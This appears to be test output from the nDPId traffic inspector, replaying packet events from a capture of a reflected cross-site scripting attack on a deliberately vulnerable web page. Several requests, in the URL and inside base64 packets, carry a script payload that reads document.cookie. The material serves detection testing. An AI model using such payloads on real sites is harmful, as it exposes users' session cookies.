{"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27AQ80NQUS4TAQLQVWHMAGXB11KUBK34NZA8RUUD143IFKQDS3P5%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00430{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347037,"pkt_ts_usec":12909,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JWRAAEAGnnTAqAoyrBAAAQBQzq5aBdhy7Bgpg4AQAOy6AQAAAQEICgPi\/RYBOSuf"} +02957{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347037,"pkt_ts_usec":15997,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/JWVAAEAGlyjAqAoyrBAAAQBQzq5aBdhy7Bgpg4AYAOx+XQAAAQEICgPi\/RcBOSufSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE3OjE2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWHtPGzkQ\/xukfgefTypQKevm6EktTbYKCRRUaAObQO900srZdRKDd721vQl8+xvvI1meYRskFLz2PH7jGY9n\/Gaz9UfvR3fwT\/8ATU0kUH+4f3LcRbhByOVul5DeoId+Hg1OT1DTeY88o3hgCDn4jhGeGpPsETKfz535riPVhAzOyY2V0rRsxbChMx4nNCF232y+2Wxlem4iEev2IzKanz59yllz8o3WlNEQhhsbrYgZiixLg\/1K+ayNuzI2LDaNwW3CMAryrzY27MYQK+IzCqZUaWbaw8Fh4yNGJJe50TLcCOZepCJmio644OZ2D52zsWCBYSHqKqk18rhhyAsUTwyPJ2j7p+ftoL091KNRjEpewdAlG6FOkggeUMNljLZ7F5edHTRrOs336F2PzZiQSQTQ3rVIrrhAIXh8jRQTbazNrWB6ypjByIA1hRGB1hhNFRu3seMQ+Atnc2pnSUR57GTL5KE0DltRyvmPR3TCCEzdlTSmM0vmZAsLGTqztgrhis5oPouRVsEdIFc6+98HBc6Vxm6L5JSF50jhOjseyfAWBYJq63UZMZy7NOQzxMM2tr4Di5gqvF5ZskIq8xstHk0eIMmM1ETIiXSSeIIRFRAIKxy1tBuwgroHqu0m++C4tKL9wZqf0DBkYW4QEKSitNOu7gsZXNutERzJOADV120853Eo5w4sZTjaW7klzhYuWYGB3nGXg90j2LYWobDLgrubLxHIYzh9aWCntJNMk2fk3yfF7nFlpp5aOHBpskLfgga7nh0iAscPJlFvv6KMpMJdY0NnlfPNITxGKjWMPIPqcQbs7tv\/6FCqoKYH7gtkNyyoAyCjx25XRhGNQ3QcX7HMI+uhCLQa10GR0QMK7\/xwPcVjTpwvCRzVNgfONGQrouRF\/Ng95HC4j+2MXntv0kRIGtbZnYKjgDHMvtb0D00M3Fy1XFSwZOeWBaliqNvpD7pHnfWg6F+C18GR0cOZPjt5rWC1Ev0RXG61nFLhuocGbe\/b6Z31UM0ZvfZ5LUglC3YvYYQ8pm20ouNezfR6X+6N1n4tIDkDdqGegVrlx+maW2HFqYp+zfIq6kU4VIljUXy9Ahpddzd0icIzUt2FsOYVlJ1FqC5XXodLMuza+hHiI5+qtx3Az+OxXKGuQoXd\/lEfTsdY1lNERzI1K9QsaLDbscPX21Zb6K1UvyTC7kk2vgegqNju1H5PF4K2hF0WgtDJ2NVCt12rFoKtafN3ugsomZtFwVwRPltUsH4gQ+ZTxWhRP4+lilBMI6jWgR\/K3izFtfGfGEG3NJWA\/evBoKhNW0lh8eWUmi2NbmWqMuYvZWUdJ2m1+MeFaPu7qG+rRDodRRzIZlSk8Onln4U2krh5U0Esyhxvoph7xISQqGg1XKj8tRQMPDzZ3uqcfXz\/\/WzofRh0zk7OLi6PTjtff+43m9+G+992P3z\/t\/PxfDjsNT\/sHh9+O+t5u\/2\/t3Y+VyWEMkhtp+UEUl5ztvN50ZIAHMUy1yw93Jr+5Z7Cgc\/CX0U0v6xg0q4V8QHRuIwr23zqomGVc6qTrGeFEGU3NsxI5tmGBs\/6C8\/6mWehHaNqAp0ohluJxtfY\/X1ZiyiujQ+4fahSDFP+AbR1YK7fhf7K+F7RetbE+Ly81ThZ7Mz5NU9YyGkm2n5VLdel5U9je7mM5\/EUZgYTvkjGgYzs9dAY019O9iTxKIgXML5Ic46TCqZMM5PwrLoH1FUdRXbLQ73sXEcK+t38t0xhT6S8Iu8EglG1OM2P5UV9qw2LfHuXPJofRqkxts8u8sMFZ3MExz9Z5OxEJmnil2Qy7uZZf\/nosAcUw2QbPXHbz0CiPwWJNhy\/AKSspnhbOqIt5HwL7WAXrYTlQTIM2OsC05nMldDsblLBJ5C3BRtD\/myxyB1qpmze3WsR+EI0jHhcuBC+y+IAndjXpYIGJC4p4FY\/7nnFSsi1vT7C0otPOnQspbnz2JK467x2JY9dq9UETOzFmb8LZi927v\/CoqgqkhQAAA=="} +00429{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347037,"pkt_ts_usec":16678,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AOFAAD4GxPesEAABwKgKMs6uAFDsGCmDWgXfvYAQAQKyngAAAQEICgE5K6AD4v0X"} +00944{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":27122,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzAOJAAD4Gw3esEAABwKgKMs6uAFDsGCmDWgXfvYAYAQJgqQAAAQEICgE5LJ0D4v0XR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02818{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":30178,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceJWdAAEAGl4fAqAoyrBAAAQBQzq5aBd+97BgrAoAYAPV9\/AAAAQEICgPi\/hUBOSydSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE3OjE3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00430{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":30927,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AONAAD4GxPWsEAABwKgKMs6uAFDsGCsCWgXmp4AQAR2oHgAAAQEICgE5LJ4D4v4V"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":629,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1499347038276,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52964,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":629,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":276528,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83pNAAD4G5zysEAABwKgKMs7kAFBDY\/JIAAAAAKACchAsDwAAAgQFtAQCCAoBOSzbAAAAAAEDAwc="} +00442{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":276651,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzuS5pPWWQ2PySaAScSB7fQAAAgQFtAQCCAoD4v5SATks2wEDAwc="} +00431{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":277213,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03pRAAD4G50OsEAABwKgKMs7kAFBDY\/JJuaT1l4AQAOUahAAAAQEICgE5LNwD4v5S"} +01214{"flow_id":41,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":277879,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9AORAAD4GwqusEAABwKgKMs6uAFDsGCsCWgXmp4AYAR01GQAAAQEICgE5LNwD4v4VR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdGOFNENUtNVEdaMjFPWjJWQVNVUzY3TFRPSlFZRTY3SUIxTVA4OEhGTEZFWjI3SFBEUSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02959{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":280786,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAJWlAAEAGlyPAqAoyrBAAAQBQzq5aBean7BgtS4AYAP5+XgAAAQEICgPi\/lMBOSzcSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE3OjE4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59PKlCJdUN1LaXJVpBAkzs40m6Atjpp5ew6icG73treBL79jfeRLM+wDRIKXnsev\/GMxzN+td78o3PaHvzoH6KJiQTqnx0c99oIbxNy8a5NSGfQQd+7g5Nj1HDeIs8oHhhCDv\/FCE+MSfYImc1mzuydI9WYDL6RayulYdmK4bbOeJzQhNh9tf5qvZnpuY5ErFsPyGh8\/PgxZ83J15oTRkMYrq01I2Yosizb7FfKpy3clrFhsdke3CQMoyD\/amHDrg2xIj6hYEKVZqZ1Njja3sWI5DLXmoYbwdzzVMRM0SEX3NzsoW9sJFhgWIjaSmqNPG4Y8gLFE8PjMdr87nlbaG8PdWgUo5JXMHTBhmg\/SQQPqOEyRpud84v9LTRtOI236E2HTZmQSQTQ3jRJrrhAIXh8hRQTLazNjWB6wpjByIA1hRGB1hhNFBu1sOMQ+AunM2pnSUR57GTL5L40DltRyvmPR3TMCEzdljSiU0vmZAtzGTqztgrhkk5pPouRVsEtIJc6+98HBc6lxm6T5JSF50jhOjseyvAGBYJq63UZMZy7NORTxMMWtr4Di5gqvF5ZskIq82tNHo3vIcmM1ETIsXSSeIwRFRAISxy1sBuwgrp7qu0m++C4tKL93pqf0DBkYW4QEKSitNOuHggZXNmtERzJOADVVy0843EoZw4sZThaG7klzgYuWYGB3nKXg90ubFuTUNhlwd315wjkMZy+NLBT2kkmyRPy75Jit1eZqacWDlyaLNE3p8GuZ4eIwPGDSdQ5qCgjqXBX2NBp5XxzCI+hSg0jT6B6mAG7B\/Y\/OpIqqOmBuwLZNQvqAMjosduWUUTjEPXiS5Z5ZDUUgVajOigyekDhfTtaTfGIE+dzAke1xYEzDdmSKHkWP3aPOBzunp3RK+9NmghJwzq7U3AUMM6yrxX9QxMDN1ctFxUs2bllQaoYau\/3B+3u\/mpQ9C\/B6+DI6OFMfz1+qWC1Ev0hXG61nFLhuoMGbR7Y6a3VUM0YvfJ5LUglC3YvYIQ8pm20ol6nZnq9K\/daa78WkJwBu1DPQK1yerLiVlhxqqJfs7yKehYOVeKYF18vgEbX3Q1dovCMVLchrHgFZWcRqsul1+GCDLu2foT4yKfqbQfw83gkl6irUGG33+3D6RjJeoroUKZmiZo5DXb37fDlttUWekvVL4iwe5yN7wAoKrZbtd\/jhaAtYReFIHQydrXQbdeqhWBz0vid7gJK5kZRMFeET+cVrB\/IkPlUMVrUzyOpIhTTCKp14IeyN0txLfwnRtAtTSRg\/3I4KGrTZlJYfDGhZkOjG5mqjPlzWVnHSVot\/nEh2v7O69sqkU6HEQeyKRUpfHr5Z6GNJG7eVBCLMsebKOZ2mRASFa2GC5W\/loKBh8ebG0e7Xuevf04GX37uNE5\/7pzve2fe+w\/Hg9O\/v\/44fP+hd9A46e\/udo+Ojw5\/7nzo9jtfN7Y+VSWEMkhtp+UEUl5xtvVp3pIAHMUy1yw83JzsuCdw4LPwVxHNLyuYtGtFfEA0LuLKNp+6aFjljOok61khRNm1DTOSeXZbg2f9uWf9zLPQjlE1hk4Uw61E4yvs\/r6seRTXxgfcPlQphin\/ENo6MNdvQ39lfK9oPWtifFrecpwsdmb8iics5DQTbb+qluvS8sexPV\/G03gKM4MxnyfjQEb2etge0V9O9iTxIIhnMD5Lc46TCqZMI5PwpLp71FUdRXbLQ73sXIcK+t38t0xhj6S8Iu8EglE1P80P5UV9ow2LfHuXPJgfhqkxts8u8sM5ZzMExz+Z5+xEJmnil2QybudZf\/HosAcUZ8kmeuS2n4JEfwISbTh+BkhZTfG6dERLyNkG2sIuWgrLg2QYsJcFpjOZS6HZ3aSCjyFvCzaC\/NlkkXummbJ5d69J4AvRMOJx4UL4LosDdGxflwoakLiggFu91\/GKlZBre32EpRcfdehISnPrsSVxV3ntSh66VqsJmNiLM38XzF7s3P8B7AAjAZIUAAA="} +00431{"flow_id":41,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347038,"pkt_ts_usec":281492,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AOVAAD4GxPOsEAABwKgKMs6uAFDsGC1LWgXt84AQATud7gAAAQEICgE5LN0D4v5T"} +00946{"flow_id":41,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":319412,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzAOZAAD4Gw3OsEAABwKgKMs6uAFDsGC1LWgXt84AYATtL8wAAAQEICgE5LeAD4v5TR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":322432,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceJWtAAEAGl4PAqAoyrBAAAQBQzq5aBe3z7BguyoAYAQd9\/AAAAQEICgPi\/1gBOS3gSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE3OjE5IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuN